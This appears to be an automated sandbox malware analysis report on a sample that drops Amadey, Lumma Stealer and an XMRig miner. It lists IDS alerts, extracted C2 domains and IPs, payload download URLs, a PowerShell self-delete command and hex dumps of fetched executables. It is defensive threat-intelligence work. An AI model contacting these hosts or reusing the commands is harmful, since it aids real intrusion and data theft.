Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell ping 127.0.0.1; del in.exe, CommandLine: powershell ping 127.0.0.1; del in.exe, CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "in.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\main\in.exe, ParentProcessId: 356, ParentProcessName: in.exe, ProcessCommandLine: powershell ping 127.0.0.1; del in.exe, ProcessId: 5396, ProcessName: powershell.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: "C:\Windows\System32\svchost.exe", CommandLine: "C:\Windows\System32\svchost.exe", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\svchost.exe, NewProcessName: C:\Windows\SysWOW64\svchost.exe, OriginalFileName: C:\Windows\SysWOW64\svchost.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\1017257001\09c0b8253b.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\1017257001\09c0b8253b.exe, ParentProcessId: 5864, ParentProcessName: 09c0b8253b.exe, ProcessCommandLine: "C:\Windows\System32\svchost.exe", ProcessId: 5440, ProcessName: svchost.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T03:09:28.677220+0100	2028371	3	Unknown Traffic	192.168.2.5	49878	104.21.67.146	443	TCP
2024-12-19T03:09:31.054601+0100	2028371	3	Unknown Traffic	192.168.2.5	49887	104.21.67.146	443	TCP
2024-12-19T03:09:33.495702+0100	2028371	3	Unknown Traffic	192.168.2.5	49893	104.21.67.146	443	TCP
2024-12-19T03:09:35.724767+0100	2028371	3	Unknown Traffic	192.168.2.5	49899	104.21.67.146	443	TCP
2024-12-19T03:09:38.080806+0100	2028371	3	Unknown Traffic	192.168.2.5	49905	104.21.67.146	443	TCP
2024-12-19T03:09:41.740692+0100	2028371	3	Unknown Traffic	192.168.2.5	49914	104.21.67.146	443	TCP
2024-12-19T03:09:44.354628+0100	2028371	3	Unknown Traffic	192.168.2.5	49924	104.21.67.146	443	TCP
2024-12-19T03:09:48.658837+0100	2028371	3	Unknown Traffic	192.168.2.5	49937	104.21.67.146	443	TCP
2024-12-19T03:10:03.465986+0100	2028371	3	Unknown Traffic	192.168.2.5	49977	104.21.66.85	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T03:09:29.809452+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49878	104.21.67.146	443	TCP
2024-12-19T03:09:31.871885+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49887	104.21.67.146	443	TCP
2024-12-19T03:09:49.464768+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49937	104.21.67.146	443	TCP
2024-12-19T03:10:04.526605+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49977	104.21.66.85	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T03:09:29.809452+0100	2049836	1	A Network Trojan was detected	192.168.2.5	49878	104.21.67.146	443	TCP
2024-12-19T03:10:04.526605+0100	2049836	1	A Network Trojan was detected	192.168.2.5	49977	104.21.66.85	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T03:09:31.871885+0100	2049812	1	A Network Trojan was detected	192.168.2.5	49887	104.21.67.146	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (aspecteirs .lat in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T03:10:03.465986+0100	2058355	1	Domain Observed Used for C2 Detected	192.168.2.5	49977	104.21.66.85	443	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T03:09:20.917022+0100	2044696	1	A Network Trojan was detected	192.168.2.5	49860	185.215.113.43	80	TCP
2024-12-19T03:09:29.227051+0100	2044696	1	A Network Trojan was detected	192.168.2.5	49880	185.215.113.43	80	TCP
2024-12-19T03:09:41.459638+0100	2044696	1	A Network Trojan was detected	192.168.2.5	49913	185.215.113.43	80	TCP
2024-12-19T03:09:46.829264+0100	2044696	1	A Network Trojan was detected	192.168.2.5	49930	185.215.113.43	80	TCP
2024-12-19T03:09:55.710699+0100	2044696	1	A Network Trojan was detected	192.168.2.5	49955	185.215.113.43	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (aspecteirs .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T03:10:01.819048+0100	2058354	1	Domain Observed Used for C2 Detected	192.168.2.5	60440	1.1.1.1	53	UDP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T03:09:34.366664+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.5	49893	104.21.67.146	443	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T03:09:05.435932+0100	2856147	1	A Network Trojan was detected	192.168.2.5	49819	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T03:09:19.578547+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.5	49829	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T03:09:10.132875+0100	2803305	3	Unknown Traffic	192.168.2.5	49835	31.41.244.11	80	TCP
2024-12-19T03:09:22.416906+0100	2803305	3	Unknown Traffic	192.168.2.5	49862	31.41.244.11	80	TCP
2024-12-19T03:09:30.678836+0100	2803305	3	Unknown Traffic	192.168.2.5	49885	31.41.244.11	80	TCP
2024-12-19T03:09:42.942853+0100	2803305	3	Unknown Traffic	192.168.2.5	49920	31.41.244.11	80	TCP
2024-12-19T03:09:48.305774+0100	2803305	3	Unknown Traffic	192.168.2.5	49935	31.41.244.11	80	TCP
2024-12-19T03:09:57.160547+0100	2803305	3	Unknown Traffic	192.168.2.5	49960	31.41.244.11	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://home.fivetk5vt.top/hLfzXsaqNtoEGyaUtOMJ1734514745	Avira URL Cloud: Label: malware
Source: http://home.fivetk5vt.top/hLfzXsaqNtoEGyaUtOMJ17	Avira URL Cloud: Label: malware
Source: http://31.41.244.11/files/dodo/random.exe/P	Avira URL Cloud: Label: phishing
Source: http://31.41.244.11/files/unique3/random.exe/	Avira URL Cloud: Label: phishing
Source: http://31.41.244.11/files/geopoxid/random.exe	Avira URL Cloud: Label: phishing
Source: http://185.215.113.43/Zu7JuNko/index.phprs	Avira URL Cloud: Label: malware
Source: http://home.fivetk5vt.top/hLfzXsaqNtoEGyaUtOMJ1734514745?argument=hUVxu2Vrg4cEhZp41734574187	Avira URL Cloud: Label: malware
Source: http://31.41.244.11/files/lolz/random.exe	Avira URL Cloud: Label: phishing

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\main\extracted\in.exe	Avira: detection malicious, Label: HEUR/AGEN.1352802
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	Avira: detection malicious, Label: TR/Crypt.XPACK.Gen
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Avira: detection malicious, Label: HEUR/AGEN.1352802
Source: C:\Users\user\AppData\Local\Temp\1017255001\ed0fb10817.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Avira: detection malicious, Label: TR/Crypt.XPACK.Gen

Found malware configuration

Source: 00000006.00000003.2693165990.0000000005040000.00000004.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: fe64902db3.exe.6044.35.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": ["discokeyus.lat", "necklacebudi.lat", "grannyejh.lat", "crosshuaht.lat", "sustainskelet.lat", "rapeflowwj.lat", "aspecteirs.lat", "cheapptaxysu.click", "energyaffai.lat"], "Build id": "CZJvss--"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	ReversingLabs: Detection: 52%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[2].exe	ReversingLabs: Detection: 71%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe	ReversingLabs: Detection: 87%
Source: C:\Users\user\AppData\Local\Temp\1017253001\a5bb0fe977.exe	ReversingLabs: Detection: 87%
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	ReversingLabs: Detection: 52%
Source: C:\Users\user\AppData\Local\Temp\1017258001\c9ea911eaa.exe	ReversingLabs: Detection: 71%
Source: C:\Users\user\AppData\Local\Temp\main\extracted\in.exe	ReversingLabs: Detection: 66%
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	ReversingLabs: Detection: 66%

Multi AV Scanner detection for submitted file

Source: file.exe

Virustotal: Detection: 56%

Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.9% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\main\extracted\in.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[2].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1017257001\09c0b8253b.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1017255001\ed0fb10817.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: ed0fb10817.exe, 00000024.00000003.3081858259.000000000727F000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: -----BEGIN PUBLIC KEY-----

memstr_1e55f31c-6

Bitcoin Miner

Yara detected Xmrig cryptocurrency miner

Source: Yara match	File source: 30.3.Intel_PTT_EK_Recertification.exe.1cf4bdc0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.3.Intel_PTT_EK_Recertification.exe.1cf4bdc0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.2.explorer.exe.140000000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001F.00000002.2937370347.000000014040B000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.2937239873.00000001402DD000.00000002.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.2935994024.000000000063B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.2935994024.0000000000617000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000003.2930529971.000001CF4BDC0000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Intel_PTT_EK_Recertification.exe PID: 4372, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: explorer.exe PID: 5008, type: MEMORYSTR

Found strings related to Crypto-Mining

Source: Intel_PTT_EK_Recertification.exe, 0000001E.00000003.2930529971.000001CF4BDC0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: stratum+tcp://
Source: Intel_PTT_EK_Recertification.exe, 0000001E.00000003.2930529971.000001CF4BDC0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: cryptonight/0
Source: Intel_PTT_EK_Recertification.exe, 0000001E.00000003.2930529971.000001CF4BDC0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: -o, --url=URL URL of mining server
Source: Intel_PTT_EK_Recertification.exe, 0000001E.00000003.2930529971.000001CF4BDC0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: stratum+tcp://

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.21.67.146:443 -> 192.168.2.5:49878 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.67.146:443 -> 192.168.2.5:49887 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.67.146:443 -> 192.168.2.5:49893 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.67.146:443 -> 192.168.2.5:49899 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.67.146:443 -> 192.168.2.5:49905 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.67.146:443 -> 192.168.2.5:49914 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.67.146:443 -> 192.168.2.5:49924 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.67.146:443 -> 192.168.2.5:49937 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.233.83.145:443 -> 192.168.2.5:49956 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.110.133:443 -> 192.168.2.5:49966 version: TLS 1.2

Source:	Binary string: wkernel32.pdb source: 09c0b8253b.exe, 0000002C.00000003.3234411504.00000000059B0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wkernelbase.pdb source: 09c0b8253b.exe, 0000002C.00000003.3235165967.0000000005890000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ntdll.pdb source: 09c0b8253b.exe, 0000002C.00000003.3231307688.0000000005890000.00000004.00000001.00020000.00000000.sdmp, 09c0b8253b.exe, 0000002C.00000003.3231908453.0000000005A80000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: 09c0b8253b.exe, 0000002C.00000003.3233078686.0000000005A30000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ntdll.pdbUGP source: 09c0b8253b.exe, 0000002C.00000003.3231307688.0000000005890000.00000004.00000001.00020000.00000000.sdmp, 09c0b8253b.exe, 0000002C.00000003.3231908453.0000000005A80000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: 09c0b8253b.exe, 0000002C.00000003.3233078686.0000000005A30000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wkernel32.pdbUGP source: 09c0b8253b.exe, 0000002C.00000003.3234411504.00000000059B0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wkernelbase.pdbUGP source: 09c0b8253b.exe, 0000002C.00000003.3235165967.0000000005890000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: C:\Users\danie\source\repos\NewText\NewText\obj\Debug\NewText.pdb source: skotes.exe, 00000006.00000002.3277060437.00000000014E6000.00000004.00000020.00020000.00000000.sdmp, 1c5200ac19.exe, 00000025.00000000.3110356023.0000000000282000.00000002.00000001.01000000.00000011.sdmp

Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe

Directory queried: number of queries: 1001

Source: C:\Users\user\AppData\Local\Temp\1017253001\a5bb0fe977.exe	Code function: 7_2_0040367D GetFileAttributesW,SetLastError,FindFirstFileW,FindClose,CompareFileTime,	7_2_0040367D
Source: C:\Users\user\AppData\Local\Temp\1017253001\a5bb0fe977.exe	Code function: 7_2_004031DC FindFirstFileW,SetFileAttributesW,lstrcmpW,lstrcmpW,SetFileAttributesW,DeleteFileW,FindNextFileW,FindClose,SetFileAttributesW,RemoveDirectoryW,??3@YAXPAX@Z,??3@YAXPAX@Z,	7_2_004031DC
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 11_2_00A37978 FindFirstFileW,FindFirstFileW,free,	11_2_00A37978

Source: C:\Users\user\AppData\Local\Temp\main\7z.exe

Code function: 11_2_00A3881C free,free,GetLogicalDriveStringsW,GetLogicalDriveStringsW,free,free,free,

11_2_00A3881C

Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\main\extracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\main\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.5:49819 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.5:49829
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49880 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49860 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49913 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49930 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49955 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2058354 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (aspecteirs .lat) : 192.168.2.5:60440 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058355 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (aspecteirs .lat in TLS SNI) : 192.168.2.5:49977 -> 104.21.66.85:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:49887 -> 104.21.67.146:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49887 -> 104.21.67.146:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.5:49893 -> 104.21.67.146:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49937 -> 104.21.67.146:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49878 -> 104.21.67.146:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49878 -> 104.21.67.146:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49977 -> 104.21.66.85:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49977 -> 104.21.66.85:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: discokeyus.lat
Source: Malware configuration extractor	URLs: necklacebudi.lat
Source: Malware configuration extractor	URLs: grannyejh.lat
Source: Malware configuration extractor	URLs: crosshuaht.lat
Source: Malware configuration extractor	URLs: sustainskelet.lat
Source: Malware configuration extractor	URLs: rapeflowwj.lat
Source: Malware configuration extractor	URLs: aspecteirs.lat
Source: Malware configuration extractor	URLs: cheapptaxysu.click
Source: Malware configuration extractor	URLs: energyaffai.lat
Source: Malware configuration extractor	IPs: 185.215.113.43

Uses ping.exe to check the status of other devices and networks

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 127.0.0.1

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 19 Dec 2024 02:09:09 GMTContent-Type: application/octet-streamContent-Length: 4438776Last-Modified: Tue, 10 Dec 2024 00:01:52 GMTConnection: keep-aliveETag: "675784f0-43baf8"Accept-Ranges: bytesData Raw: 4d 5a 60 00 01 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 52 65 71 75 69 72 65 20 57 69 6e 64 6f 77 73 0d 0a 24 50 45 00 00 4c 01 04 00 ce 3f c3 4f 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 08 00 00 90 01 00 00 96 00 00 00 00 00 00 5f 94 01 00 00 10 00 00 00 a0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 02 00 00 02 00 00 e7 a4 44 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 84 c9 01 00 c8 00 00 00 00 30 02 00 10 4f 00 00 00 00 00 00 00 00 00 00 10 7b 43 00 e8 3f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 01 00 6c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 0e 8e 01 00 00 10 00 00 00 90 01 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 da 3b 00 00 00 a0 01 00 00 3c 00 00 00 92 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 ec 4d 00 00 00 e0 01 00 00 0a 00 00 00 ce 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 10 4f 00 00 00 30 02 00 00 50 00 00 00 d8 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 55 8b ec a1 60 e9 41 00 81 ec 04 09 00 00 53 33 db 3b c3 56 57 74 1f 66 39 1d 62 e9 41 00 74 07 ff d0 a3 60 e9 41 00 50 e8 50 14 00 00 50 e8 ef 84 00 00 59 eb 6e 6a 27 e8 40 14 00 00 8b 75 08 ff 76 0c 8b 3d c0 a2 41 00 ff 36 50 8d 85 fc f6 ff ff 50 ff d7 83 c4 14 39 5e 10 89 5d fc 76 38 8d 5e 14 ff 33 8d 85 fc fe ff ff 68 90 a4 41 00 50 ff d7 83 c4 0c 8d 85 fc fe ff ff 50 8d 85 fc f6 ff ff 50 ff 15 78 a1 41 00 ff 45 fc 8b 45 fc 83 c3 04 3b 46 10 72 cb 8d 85 fc f6 ff ff 50 e8 7e 84 00 00 59 e8 d4 36 00 00 6a 0a ff 15 74 a1 41 00 cc ff 74 24 04 e8 44 ff ff ff cc 56 8b f1 e8 25 73 00 00 c7 06 a0 a4 41 00 c7 46 38 d2 07 00 00 8b c6 5e c3 6a 01 ff 71 04 ff 15 bc a2 41 00 c3 33 c0 39 05 60 ea 41 00 74 07 b8 04 40 00 80 eb 1e 39 44 24 08 74 16 ff 74 24 08 50 68 02 80 00 00 ff 35 58 ea 41 00 ff 15 b8 a2 41 00 33 c0 c2 08 00 8b 44 24 04 83 60 1c 00 83 7c 24 08 00 75 07 c7 40 1c 01 00 00 00 33 c0 c2 08 00 a0 70 e9 41 00 f6 d8 1b c0 83 e0 0b 83 c0 08 c3 ff 74 24 10 8b 44 24 08 ff 74 24 10 c7 05 60 e9 41 00 2f 11 40 00 ff 74 24 10 8b 08 50 ff 51 0c 83 25 60 e9 41 00 00 c3 33 c0 c2 0c 00 8b 54 24 08 8b 4c 24 04 0f b7 02 66 89 01 41 41 42 42 66 85 c0 75 f1 c3 8b 4c 24 04 33 c0 66 39
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 19 Dec 2024 02:09:22 GMTContent-Type: application/octet-streamContent-Length: 1880576Last-Modified: Wed, 18 Dec 2024 18:02:50 GMTConnection: keep-aliveETag: "67630e4a-1cb200"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 d1 3c 5f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 ec 03 00 00 ae 00 00 00 00 00 00 00 30 4a 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 4a 00 00 04 00 00 69 eb 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 30 05 00 68 00 00 00 00 20 05 00 f0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 31 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 10 05 00 00 10 00 00 00 48 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 f0 01 00 00 00 20 05 00 00 02 00 00 00 58 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 30 05 00 00 02 00 00 00 5a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 b0 2a 00 00 40 05 00 00 02 00 00 00 5c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 78 6e 75 7a 76 6c 68 65 00 30 1a 00 00 f0 2f 00 00 2e 1a 00 00 5e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 74 7a 75 74 74 61 6e 78 00 10 00 00 00 20 4a 00 00 04 00 00 00 8c 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 30 4a 00 00 22 00 00 00 90 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 